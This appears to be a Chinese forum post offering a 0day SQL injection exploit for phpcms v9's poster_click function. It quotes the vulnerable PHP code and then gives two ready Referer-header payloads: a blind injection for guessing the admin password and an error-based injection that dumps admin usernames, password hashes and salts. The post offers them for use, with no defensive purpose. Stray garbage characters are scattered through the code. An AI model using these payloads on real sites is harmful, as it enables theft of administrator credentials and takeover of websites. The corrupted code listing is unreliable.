phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
: ~$ I- I2 @) s' ]
问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
0 w; \7 t" ~$ i" I! w! b$ip_area = pc_base::load_sys_class('ip_area');
+ g4 ]; W, ~  v$ip = ip();
$area = $ip_area->get($ip);
2 F5 [, m% k; M; B$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
9 w" W, U5 n% e5 `+ x# F0 m$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
+ ^: {5 o5 S9 t5 |$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
1 B- g' g) I& {+ w4 g: ?" I$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
2 L+ [' l  q# q$setting = string2array($r['setting']);
) a& c6 M/ K0 v5 Dif (count($setting)==1) {
3 G9 ~9 U" m) J8 y6 Z$url = $setting['1']['linkurl'];
} else {
, G, Y( a; }6 x; s: z$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
) A  j( o4 `- N+ ?9 f0 B}
header('Location: '.$url);
}
8 O2 N/ w9 K! y& b1 R& K) E
; P2 `' G  A$ D9 n3 _5 k
- f4 j) f1 o+ S! H+ w
利用方式：
8 A0 j* A1 W# e4 p: G
- i; e* P6 o" g& K1 q" m1、可以采用盲注入的手法：
, f; l; l3 y& t# k8 [2 G
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
+ r5 R! p+ u; G* F
通过返回页面，正常与否一个个猜解密码字段。
2 F" f, E/ Z; k
2 E% Y* `7 `/ X' M2、代码是花开写的，随手附上了：

; _8 ~7 v+ q. C3 N6 r$ Z) {) O1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
